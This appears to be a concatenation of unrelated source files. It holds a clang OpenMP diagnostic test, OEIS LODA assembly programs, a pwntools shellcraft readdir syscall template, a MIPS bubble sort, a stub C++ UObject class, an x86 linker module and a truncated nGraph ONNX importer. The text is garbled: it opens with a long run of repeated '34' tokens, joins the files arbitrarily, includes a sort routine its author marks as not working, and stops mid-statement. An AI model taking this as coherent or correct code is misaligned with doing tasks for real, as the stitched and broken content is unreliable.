34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
// RUN: %clang_cc1 -verify -fopenmp %s
// RUN: %clang_cc1 -verify -fopenmp-simd %s
void foo() {
}
bool foobool(int argc) {
return argc;
}
struct S1; // expected-note 2 {{declared here}} expected-note 2 {{forward declaration of 'S1'}}
extern S1 a;
class S2 {
mutable int a;
public:
S2() : a(0) {}
};
const S2 b;
const S2 ba[5];
class S3 {
int a;
public:
S3() : a(0) {}
};
const S3 ca[5];
class S4 {
int a;
S4(); // expected-note {{implicitly declared private here}}
public:
S4(int v) : a(v) {
#pragma omp taskloop private(a) private(this->a)
for (int k = 0; k < v; ++k)
++this->a;
}
};
class S5 {
int a;
S5() : a(0) {} // expected-note {{implicitly declared private here}}
public:
S5(int v) : a(v) {}
S5 &operator=(S5 &s) {
#pragma omp taskloop private(a) private(this->a) private(s.a) // expected-error {{expected variable name or data member of current class}}
for (int k = 0; k < s.a; ++k)
++s.a;
return *this;
}
};
template <typename T>
class S6 {
public:
T a;
S6() : a(0) {}
S6(T v) : a(v) {
#pragma omp taskloop private(a) private(this->a)
for (int k = 0; k < v; ++k)
++this->a;
}
S6 &operator=(S6 &s) {
#pragma omp taskloop private(a) private(this->a) private(s.a) // expected-error {{expected variable name or data member of current class}}
for (int k = 0; k < s.a; ++k)
++s.a;
return *this;
}
};
template <typename T>
class S7 : public T {
T a;
S7() : a(0) {}
public:
S7(T v) : a(v) {
#pragma omp taskloop private(a) private(this->a) private(T::a)
for (int k = 0; k < a.a; ++k)
++this->a.a;
}
S7 &operator=(S7 &s) {
#pragma omp taskloop private(a) private(this->a) private(s.a) private(s.T::a) // expected-error 2 {{expected variable name or data member of current class}}
for (int k = 0; k < s.a.a; ++k)
++s.a.a;
return *this;
}
};
S3 h;
#pragma omp threadprivate(h) // expected-note 2 {{defined as threadprivate or thread local}}
template <class I, class C>
int foomain(I argc, C **argv) {
I e(4);
I g(5);
int i;
int &j = i;
#pragma omp taskloop private // expected-error {{expected '(' after 'private'}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private( // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private() // expected-error {{expected expression}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc // expected-error {{expected ')'}} expected-note {{to match this '('}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc, // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc > 0 ? argv[1] : argv[2]) // expected-error {{expected variable name}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(S1) // expected-error {{'S1' does not refer to a value}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(a, b) // expected-error {{private variable with incomplete type 'S1'}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argv[1]) // expected-error {{expected variable name}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(e, g)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(h) // expected-error {{threadprivate or thread local variable cannot be private}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop shared(i)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp parallel
{
int v = 0;
int i;
#pragma omp taskloop private(i)
for (int k = 0; k < argc; ++k) {
i = k;
v += i;
}
}
#pragma omp parallel shared(i)
#pragma omp parallel private(i)
#pragma omp taskloop private(j)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(i)
for (int k = 0; k < argc; ++k)
++k;
return 0;
}
void bar(S4 a[2]) {
#pragma omp parallel
#pragma omp taskloop private(a)
for (int i = 0; i < 2; ++i)
foo();
}
namespace A {
double x;
#pragma omp threadprivate(x) // expected-note {{defined as threadprivate or thread local}}
}
namespace B {
using A::x;
}
int main(int argc, char **argv) {
S4 e(4);
S5 g(5);
S6<float> s6(0.0) , s6_0(1.0);
S7<S6<float> > s7(0.0) , s7_0(1.0);
int i;
int &j = i;
#pragma omp taskloop private // expected-error {{expected '(' after 'private'}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private( // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private() // expected-error {{expected expression}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc // expected-error {{expected ')'}} expected-note {{to match this '('}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc, // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc > 0 ? argv[1] : argv[2]) // expected-error {{expected variable name}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argc)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(S1) // expected-error {{'S1' does not refer to a value}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(a, b) // expected-error {{private variable with incomplete type 'S1'}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(argv[1]) // expected-error {{expected variable name}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(e, g) // expected-error {{calling a private constructor of class 'S4'}} expected-error {{calling a private constructor of class 'S5'}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(h) // expected-error {{threadprivate or thread local variable cannot be private}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(B::x) // expected-error {{threadprivate or thread local variable cannot be private}}
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop shared(i)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp parallel
{
int i;
#pragma omp taskloop private(i)
for (int k = 0; k < argc; ++k)
++k;
}
#pragma omp parallel shared(i)
#pragma omp parallel private(i)
#pragma omp taskloop private(j)
for (int k = 0; k < argc; ++k)
++k;
#pragma omp taskloop private(i)
for (int k = 0; k < argc; ++k)
++k;
static int si;
#pragma omp taskloop private(si) // OK
for(int k = 0; k < argc; ++k)
si = k + 1;
s6 = s6_0; // expected-note {{in instantiation of member function 'S6<float>::operator=' requested here}}
s7 = s7_0; // expected-note {{in instantiation of member function 'S7<S6<float> >::operator=' requested here}}
return foomain(argc, argv); // expected-note {{in instantiation of function template specialization 'foomain<int, char>' requested here}}
}
|
; A120454: a(n) = ceiling(GPF(n)/LPF(n)) where GPF is greatest prime factor, LPF is least prime factor.
; 1,1,1,1,1,2,1,1,1,3,1,2,1,4,2,1,1,2,1,3,3,6,1,2,1,7,1,4,1,3,1,1,4,9,2,2,1,10,5,3,1,4,1,6,2,12,1,2,1,3,6,7,1,2,3,4,7,15,1,3,1,16,3,1,3,6,1,9,8,4,1,2,1,19,2,10,2,7,1,3,1,21,1,4,4,22,10,6,1,3,2,12,11,24,4,2,1,4,4,3
mov $1,$0
seq $1,130065 ; a(n) = (n / GreatestPrimeFactor(n)) * SmallestPrimeFactor(n).
div $0,$1
add $0,1
|
; A189379: n+[nr/t]+[ns/t]; r=2, s=(-1+sqrt(5))/2, t=(1+sqrt(5))/2.
; 2,4,7,9,12,15,17,20,23,25,28,30,33,36,38,41,44,46,49,51,54,57,59,62,64,67,70,72,75,78,80,83,85,88,91,93,96,98,101,104,106,109,112,114,117,119,122,125,127,130,133,135,138,140,143,146,148,151,153,156,159,161,164,167,169,172,174,177,180,182,185,187,190,193,195,198,201,203,206,208,211,214,216,219
add $0,15
mov $2,$0
add $0,3
seq $0,66096 ; Duplicate values in A060143.
sub $2,1
add $0,$2
sub $0,41
|
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="dirp"/>
<%docstring>
Invokes the syscall readdir. See 'man 2 readdir' for more information.
Arguments:
dirp(DIR): dirp
</%docstring>
${syscall('SYS_readdir', dirp)}
|
BITS 32
start:
loop start
hlt
|
; A250082: Number of length 1+5 0..n arrays with every six consecutive terms having the maximum of some two terms equal to the minimum of the remaining four terms.
; 49,444,2086,6835,17871,40054,80284,147861,254845,416416,651234,981799,1434811,2041530,2838136,3866089,5172489,6810436,8839390,11325531,14342119,17969854,22297236,27420925,33446101,40486824,48666394,58117711,68983635,81417346,95582704,111654609,129819361,150275020,173231766,198912259,227551999,259399686,294717580,333781861,376882989,424326064,476431186,533533815,595985131,664152394,738419304,819186361,906871225,1001909076,1104752974,1215874219,1335762711,1464927310,1603896196,1753217229
mov $5,$0
add $0,15
mov $1,8
lpb $0
add $1,$0
sub $0,1
lpe
sub $1,79
mov $2,118
mov $6,$5
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$5
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,148
mov $6,$4
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,85
mov $6,$4
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,25
mov $6,$4
lpb $2
add $1,$6
sub $2,1
lpe
mov $3,$5
mov $4,0
lpb $3
sub $3,1
add $4,$6
lpe
mov $2,3
mov $6,$4
lpb $2
add $1,$6
sub $2,1
lpe
mov $0,$1
|
; A024001: a(n) = 1-n^3.
; 1,0,-7,-26,-63,-124,-215,-342,-511,-728,-999,-1330,-1727,-2196,-2743,-3374,-4095,-4912,-5831,-6858,-7999,-9260,-10647,-12166,-13823,-15624,-17575,-19682,-21951,-24388,-26999,-29790,-32767,-35936,-39303,-42874,-46655,-50652,-54871,-59318,-63999,-68920,-74087,-79506,-85183,-91124,-97335,-103822,-110591,-117648,-124999,-132650,-140607,-148876,-157463,-166374,-175615,-185192,-195111,-205378,-215999,-226980,-238327,-250046,-262143,-274624,-287495,-300762,-314431,-328508,-342999,-357910,-373247,-389016,-405223,-421874,-438975,-456532,-474551,-493038,-511999,-531440,-551367,-571786,-592703,-614124,-636055,-658502,-681471,-704968,-728999,-753570,-778687,-804356,-830583,-857374,-884735,-912672,-941191,-970298,-999999,-1030300,-1061207,-1092726,-1124863,-1157624,-1191015,-1225042,-1259711,-1295028,-1330999,-1367630,-1404927,-1442896,-1481543,-1520874,-1560895,-1601612,-1643031,-1685158,-1727999,-1771560,-1815847,-1860866,-1906623,-1953124,-2000375,-2048382,-2097151,-2146688,-2196999,-2248090,-2299967,-2352636,-2406103,-2460374,-2515455,-2571352,-2628071,-2685618,-2743999,-2803220,-2863287,-2924206,-2985983,-3048624,-3112135,-3176522,-3241791,-3307948,-3374999,-3442950,-3511807,-3581576,-3652263,-3723874,-3796415,-3869892,-3944311,-4019678,-4095999,-4173280,-4251527,-4330746,-4410943,-4492124,-4574295,-4657462,-4741631,-4826808,-4912999,-5000210,-5088447,-5177716,-5268023,-5359374,-5451775,-5545232,-5639751,-5735338,-5831999,-5929740,-6028567,-6128486,-6229503,-6331624,-6434855,-6539202,-6644671,-6751268,-6858999,-6967870,-7077887,-7189056,-7301383,-7414874,-7529535,-7645372,-7762391,-7880598,-7999999,-8120600,-8242407,-8365426,-8489663,-8615124,-8741815,-8869742,-8998911,-9129328,-9260999,-9393930,-9528127,-9663596,-9800343,-9938374,-10077695,-10218312,-10360231,-10503458,-10647999,-10793860,-10941047,-11089566,-11239423,-11390624,-11543175,-11697082,-11852351,-12008988,-12166999,-12326390,-12487167,-12649336,-12812903,-12977874,-13144255,-13312052,-13481271,-13651918,-13823999,-13997520,-14172487,-14348906,-14526783,-14706124,-14886935,-15069222,-15252991,-15438248
pow $0,3
mov $1,1
sub $1,$0
|
#(*Not successful)
.data
Result: .asciiz "Your sorted list is: "
my_list: .byte 6, 5, 4, 3, 2
NewLine: .asciiz "\n"
.text
#LEGEND
# t0 is my_list
# t1 is lst[i]
# t2 is lst[i+1]
# t3 is hold
# t4 is while_loop
# while not sorted
# while not 1
# $t4 = 0
# t5 is for_loop
# t6 is results
# t7 is pointer
# t8 is my_list temp
# t9 is temp
# 1 is true
# 0 is false
#your code here
main:
la $t0, my_list #load the array
la $t8, my_list #load the temporary
li $t4, 0 #Assume True
beq $t4, 0, while_loop #go back to the while loop
while_loop:
li $t5, 0 #set t5 to 0
add $t9, $t9, 1
for_loop:
add $t5, $t5, 1 #add t5 (your incrementor)
lb $t1, 0($t0) #loading first element into address t1
lb $t2, 1($t0) #loading secon element into address t2
bgt $t1, $t2, if_statement #goto if statement if t1>t2
addi $t0, $t0, 1 #add t0 (Array incrementor)
blt $t1, $t2, for_loop
if_statement:
li $t4, 0 #make while loop false
move $t3, $t2 #start swapping data (Refer to legend)
move $t2, $t1
move $t1, $t3
sb $t1, 0($t0) #store the first byte
sb $t2, 1($t0) #store the secon byte
addi $t0, $t0, 1 #add t0 (Array incrementor)
blt $t5, 4, for_loop #go back to for loop if t5 < 5 (size of array)
add $t0,$t8,$zero #reset the array, so we can start with the 1st num
beq $t4, 0, while_loop #go back to the while loop
beq $t4, 1, print_fun
print_fun:
la $a0, Result # load address of string to be printed into $a0
li $v0, 4 # load appropriate system call code into register $v0;
# code for printing integer is 1
syscall # print the string
.data
space: .asciiz " "
.text
li $t5, 5
la $t0, my_list #load address "my_list" into t0
for_loop2: #to print out whole line.
lb $t7, 0($t0) #add data to t7 from pointer 0
move $a0, $t7 #move t7 into a0
li $v0, 1 #load for print
syscall #syscall
la $a0, space #load address
li $v0, 4 #print a string
syscall
addi $t0, $t0, 1 #increment up 1
add $t5, $t5, -1 #decrement
bgt $t5, 0, for_loop2 #branch if t5 > 0
li $v0, 10 #call to exit
syscall #syscall
|
; A110595: a(1)=5. For n > 1, a(n) = 4*5^(n-1) = A005054(n).
; 5,20,100,500,2500,12500,62500,312500,1562500,7812500,39062500,195312500,976562500,4882812500,24414062500,122070312500,610351562500,3051757812500,15258789062500,76293945312500,381469726562500,1907348632812500
mov $1,5
pow $1,$0
mul $1,8
add $1,7
div $1,10
mul $1,5
|
//
// UnObjBas.cpp
// Surreal
//
// Created by C.W. Betts on 7/6/14.
// Copyright (c) 2014 C.W. Betts. All rights reserved.
//
// This is a stub implementation of the Core library of Surreal.
//
#include <stdio.h>
#include <stdlib.h>
#include "Core.h"
IMPLEMENT_CLASS(UObject)
UObject::UObject()
{
}
UObject::UObject( const UObject& Src )
{
}
UObject::UObject( ENativeConstructor, UClass* InClass, const TCHAR* InName, const TCHAR* InPackageName, DWORD InFlags )
{
}
UObject::UObject( EStaticConstructor, const TCHAR* InName, const TCHAR* InPackageName, DWORD InFlags )
{
}
UObject::UObject( EInPlaceConstructor, UClass* InClass, UObject* InOuter, FName InName, DWORD InFlags )
{
}
#if 0
UObject& UObject::operator=( const UObject& otherSide)
{
return this;
}
#endif
void UObject::StaticConstructor()
{
}
UObject::~UObject()
{
}
DWORD UObject::QueryInterface( const FGuid& RefIID, void** InterfacePtr )
{
return 0;
}
DWORD UObject::AddRef()
{
return 2;
}
DWORD UObject::Release()
{
return 1;
}
void UObject::ProcessEvent( UFunction* Function, void* Parms, void* Result )
{
}
void UObject::ProcessState( FLOAT DeltaSeconds )
{
}
UBOOL UObject::ProcessRemoteFunction( UFunction* Function, void* Parms, FFrame* Stack )
{
return 0;
}
void UObject::Modify()
{
}
void UObject::PostLoad()
{
}
void UObject::Destroy()
{
}
void UObject::Serialize( FArchive& Ar )
{
}
EGotoState UObject::GotoState( FName State )
{
return GOTOSTATE_NotFound;
}
INT UObject::GotoLabel( FName Label )
{
return 0;
}
void UObject::InitExecution()
{
}
void UObject::ShutdownAfterError()
{
}
void UObject::PostEditChange()
{
}
void UObject::CallFunction( FFrame& TheStack, RESULT_DECL, UFunction* Function )
{
}
UBOOL UObject::ScriptConsoleExec( const TCHAR* Cmd, FOutputDevice& Ar, UObject* Executor )
{
return 0;
}
void UObject::Register()
{
}
void UObject::LanguageChange()
{
}
UObject* UObject::StaticFindObject( UClass* Class, UObject* InOuter, const TCHAR* Name, UBOOL ExactClass )
{
return NULL;
}
UObject* UObject::StaticFindObjectChecked( UClass* Class, UObject* InOuter, const TCHAR* Name, UBOOL ExactClass )
{
return NULL;
}
UObject* UObject::StaticLoadObject( UClass* Class, UObject* InOuter, const TCHAR* Name, const TCHAR* Filename, DWORD LoadFlags, UPackageMap* Sandbox )
{
return NULL;
}
UClass* UObject::StaticLoadClass( UClass* BaseClass, UObject* InOuter, const TCHAR* Name, const TCHAR* Filename, DWORD LoadFlags, UPackageMap* Sandbox )
{
return NULL;
}
UObject* UObject::StaticAllocateObject( UClass* Class, UObject* InOuter, FName Name, DWORD SetFlags, UObject* Template, FOutputDevice* Error, UObject* Ptr )
{
return NULL;
}
UObject* UObject::StaticConstructObject( UClass* Class, UObject* InOuter, FName Name, DWORD SetFlags, UObject* Template, FOutputDevice* Error )
{
return NULL;
}
void UObject::StaticInit()
{
}
void UObject::StaticExit()
{
}
UBOOL UObject::StaticExec( const TCHAR* Cmd, FOutputDevice& Ar )
{
return 0;
}
void UObject::StaticTick()
{
}
UObject* UObject::LoadPackage( UObject* InOuter, const TCHAR* Filename, DWORD LoadFlags )
{
return NULL;
}
UBOOL UObject::SavePackage( UObject* InOuter, UObject* Base, DWORD TopLevelFlags, const TCHAR* Filename, FOutputDevice* Error, ULinkerLoad* Conform )
{
return 0;
}
void UObject::CollectGarbage( DWORD KeepFlags )
{
}
void UObject::SerializeRootSet( FArchive& Ar, DWORD KeepFlags, DWORD RequiredFlags )
{
}
UBOOL UObject::IsReferenced( UObject*& Res, DWORD KeepFlags, UBOOL IgnoreReference )
{
return 0;
}
UBOOL UObject::AttemptDelete( UObject*& Res, DWORD KeepFlags, UBOOL IgnoreReference )
{
return 0;
}
void UObject::BeginLoad()
{
}
void UObject::EndLoad()
{
}
void UObject::InitProperties( BYTE* Data, INT DataCount, UClass* DefaultsClass, BYTE* Defaults, INT DefaultsCount )
{
}
void UObject::ExitProperties( BYTE* Data, UClass* Class )
{
}
void UObject::ResetLoaders( UObject* InOuter, UBOOL DynamicOnly, UBOOL ForceLazyLoad )
{
}
UPackage* UObject::CreatePackage( UObject* InOuter, const TCHAR* PkgName )
{
return NULL;
}
ULinkerLoad* UObject::GetPackageLinker( UObject* InOuter, const TCHAR* Filename, DWORD LoadFlags, UPackageMap* Sandbox, FGuid* CompatibleGuid )
{
return NULL;
}
void UObject::StaticShutdownAfterError()
{
}
UObject* UObject::GetIndexedObject( INT Index )
{
return NULL;
}
void UObject::GlobalSetProperty( const TCHAR* Value, UClass* Class, UProperty* Property, INT Offset, UBOOL Immediate )
{
}
void UObject::ExportProperties( FOutputDevice& Out, UClass* ObjectClass, BYTE* Object, INT Indent, UClass* DiffClass, BYTE* Diff )
{
}
void UObject::ResetConfig( UClass* Class )
{
}
void UObject::GetRegistryObjects( TArray<FRegistryObjectInfo>& Results, UClass* Class, UClass* MetaClass, UBOOL ForceRefresh )
{
}
void UObject::GetPreferences( TArray<FPreferencesInfo>& Results, const TCHAR* Category, UBOOL ForceRefresh )
{
}
UBOOL UObject::GetInitialized()
{
return 0;
}
UPackage* UObject::GetTransientPackage()
{
return NULL;
}
void UObject::VerifyLinker( ULinkerLoad* Linker )
{
}
void UObject::ProcessRegistrants()
{
}
void UObject::BindPackage( UPackage* Pkg )
{
}
const TCHAR* UObject::GetLanguage()
{
return NULL;
}
void UObject::SetLanguage( const TCHAR* LanguageExt )
{
}
void UObject::AddToRoot()
{
}
void UObject::RemoveFromRoot()
{
}
const TCHAR* UObject::GetFullName( TCHAR* Str ) const
{
return Str;
}
const TCHAR* UObject::GetPathName( UObject* StopOuter, TCHAR* Str ) const
{
return NULL;
}
UBOOL UObject::IsValid()
{
return 0;
}
void UObject::ConditionalRegister()
{
}
UBOOL UObject::ConditionalDestroy()
{
return 0;
}
void UObject::ConditionalPostLoad()
{
}
void UObject::ConditionalShutdownAfterError()
{
}
UBOOL UObject::IsProbing( FName ProbeName )
{
return 0;
}
void UObject::Rename( const TCHAR* NewName )
{
}
UField* UObject::FindObjectField( FName InName, UBOOL Global )
{
return NULL;
}
UFunction* UObject::FindFunction( FName InName, UBOOL Global )
{
return NULL;
}
UFunction* UObject::FindFunctionChecked( FName InName, UBOOL Global )
{
return NULL;
}
UState* UObject::FindState( FName InName )
{
return NULL;
}
void UObject::SaveConfig( DWORD Flags, const TCHAR* Filename )
{
}
void UObject::LoadConfig( UBOOL Propagate, UClass* Class, const TCHAR* Filename )
{
}
void UObject::LoadLocalized( UBOOL Propagate, UClass* Class )
{
}
void UObject::InitClassDefaultObject( UClass* InClass )
{
}
void UObject::ProcessInternal( FFrame& TheStack, void*const Result )
{
}
void UObject::ParseParms( const TCHAR* Parms )
{
}
|
TITLE CVPUBLIC - Copyright (c) SLR Systems 1994
INCLUDE MACROS
INCLUDE SYMBOLS
INCLUDE MODULES
PUBLIC CV_PUBLICS_3
.DATA
EXTERNDEF CV_TEMP_RECORD:BYTE
EXTERNDEF CURNMOD_GINDEX:DWORD,BYTES_SO_FAR:DWORD
EXTERNDEF MODULE_GARRAY:STD_PTR_S,SYMBOL_GARRAY:STD_PTR_S
.CODE PASS2_TEXT
EXTERNDEF MOVE_TEXT_TO_OMF:PROC,HANDLE_CV_INDEX:PROC,FLUSH_CV_TEMP:PROC
CV_PUBLICS_3 PROC
;
;OUTPUT PUBLIC SYMBOLS FOR CURNMOD
;
MOV EAX,CURNMOD_GINDEX
PUSHM EDI,ESI,EBX
CONVERT EAX,EAX,MODULE_GARRAY
ASSUME EAX:PTR MODULE_STRUCT
MOV ESI,[EAX]._M_FIRST_PUB_GINDEX
MOV AL,[EAX]._M_FLAGS
TEST AL,MASK M_DEBUGGING_THIS ;DO WE WANT THIS MODULE'S STUFF?
JNZ PMOD_LOOP
L9$:
POPM EBX,ESI,EDI
RET
PPUB_SKIP:
MOV ESI,[ESI].SYMBOL_STRUCT._S_NEXT_SYM_GINDEX
PMOD_LOOP:
;
;ONLY WANT INDEX IF THERE IS AT LEAST ONE PUBLIC SYMBOL
;
TEST ESI,ESI
JZ L9$ ;REAL RARE THAT A MODULE HAS
CONVERT ESI,ESI,SYMBOL_GARRAY
ASSUME ESI:PTR SYMBOL_STRUCT
MOV AL,[ESI]._S_REF_FLAGS
MOV ECX,BYTES_SO_FAR
TEST AL,MASK S_SPACES
JNZ PPUB_SKIP
;
;OK, DEFINITELY PUBLICS FROM THIS MODULE
;
PUSH ECX
MOV EDI,OFF CV_TEMP_RECORD ;PLACE TO BUILD RECORD
JMP PPUB_LOOP_1
NEXT_PPUB_1:
MOV ESI,EAX
TEST EAX,EAX
JZ NEXT_PPUB_2
PPUB_LOOP:
CONVERT ESI,ESI,SYMBOL_GARRAY
PPUB_LOOP_1:
MOV EAX,[ESI]._S_NEXT_SYM_GINDEX
MOV CL,[ESI]._S_REF_FLAGS
AND CL,MASK S_SPACES
JNZ NEXT_PPUB_1
MOV CX,[ESI]._S_CV_TYPE3
PUSH EAX
MOV EAX,[ESI]._S_OFFSET
MOV EBX,[ESI]._S_OS2_NUMBER
MOV [EDI+2],BX
GETT DL,OUTPUT_SEGMENTED
OR DL,DL
JNZ L1$
SHL EBX,4
SUB EAX,EBX
L1$:
MOV [EDI],AX
LEA ESI,[ESI]._S_NAME_TEXT
MOV [EDI+4],CX ;TYPE INDEX
ADD EDI,6
CALL MOVE_TEXT_TO_OMF
CMP EDI,OFF CV_TEMP_RECORD+CV_TEMP_SIZE-SYMBOL_TEXT_SIZE-8
JNC PPUB_FLUSH ;CAN WE FIT ANOTHER IF IT IS MAX-SIZE?
NEXT_PPUB:
POP ESI ;NEXT SYMBOL, MODULE ORDER
TEST ESI,ESI
JNZ PPUB_LOOP
NEXT_PPUB_2:
;
;FLUSH PARTIAL BUFFER
;
CALL FLUSH_CV_TEMP
;
;NOW, DO INDEX ENTRY
;
POPM EAX,EBX,ESI,EDI
MOV ECX,102H
JMP HANDLE_CV_INDEX
PPUB_FLUSH:
CALL FLUSH_CV_TEMP
JMP NEXT_PPUB
CV_PUBLICS_3 ENDP
END
|
; A059292: a(n) = n + 2 - (number of divisors of n).
; 2,2,3,3,5,4,7,6,8,8,11,8,13,12,13,13,17,14,19,16,19,20,23,18,24,24,25,24,29,24,31,28,31,32,33,29,37,36,37,34,41,36,43,40,41,44,47,40,48,46,49,48,53,48,53,50,55,56,59,50,61,60,59,59,63,60,67,64,67,64,71,62,73,72,71,72,75,72,79,72,78,80,83,74,83,84,85,82,89,80,89,88,91,92,93,86,97,94,95,93
mov $1,$0
seq $1,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $1,3
sub $0,$1
|
//*****************************************************************************
// Copyright 2017-2020 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//*****************************************************************************
#include <onnx/onnx_pb.h> // onnx types
#include "common.hpp"
#include "default_opset.hpp"
#include "ngraph/graph_util.hpp"
namespace ngraph
{
namespace onnx_import
{
namespace common
{
const ngraph::element::Type& get_ngraph_element_type(int64_t onnx_type)
{
switch (onnx_type)
{
case ONNX_NAMESPACE::TensorProto_DataType_BOOL: return element::boolean;
case ONNX_NAMESPACE::TensorProto_DataType_DOUBLE: return element::f64;
case ONNX_NAMESPACE::TensorProto_DataType_FLOAT16: return element::f16;
case ONNX_NAMESPACE::TensorProto_DataType_FLOAT: return element::f32;
case ONNX_NAMESPACE::TensorProto_DataType_INT8: return element::i8;
case ONNX_NAMESPACE::TensorProto_DataType_INT16: return element::i16;
case ONNX_NAMESPACE::TensorProto_DataType_INT32: return element::i32;
case ONNX_NAMESPACE::TensorProto_DataType_INT64: return element::i64;
case ONNX_NAMESPACE::TensorProto_DataType_UINT8: return element::u8;
case ONNX_NAMESPACE::TensorProto_DataType_UINT16: return element::u16;
case ONNX_NAMESPACE::TensorProto_DataType_UINT32: return element::u32;
case ONNX_NAMESPACE::TensorProto_DataType_UINT64: return element::u64;
case ONNX_NAMESPACE::TensorProto_DataType_UNDEFINED: return element::dynamic;
}
throw ngraph_error(
"unsupported element type: " +
ONNX_NAMESPACE::TensorProto_DataType_Name(
static_cast<ONNX_NAMESPACE::TensorProto_DataType>(onnx_type)));
}
std::shared_ptr<ngraph::Node> get_monotonic_range_along_node_rank(
const Output<ngraph::Node>& value, int64_t start_value, int64_t step)
{
if (value.get_partial_shape().rank().is_static())
{
const auto range_value = get_monotonic_range<int64_t>(
value.get_partial_shape().rank().get_length(), start_value, step);
return default_opset::Constant::create(
element::i64, {range_value.size()}, range_value);
}
const auto value_shape = std::make_shared<default_opset::ShapeOf>(value);
return std::make_shared<default_opset::Range>(
default_opset::Constant::create(element::i64, {}, {start_value}),
std::make_shared<default_opset::ShapeOf>(value_shape),
default_opset::Constant::create(element::i64, {}, {step}));
}
void validate_scalar_input(const char* input_name,
const std::shared_ptr<ngraph::Node> input,
const std::set<element::Type> allowed_types)
{
const auto validated_input_rank = input->get_output_partial_shape(0).rank();
NGRAPH_CHECK(
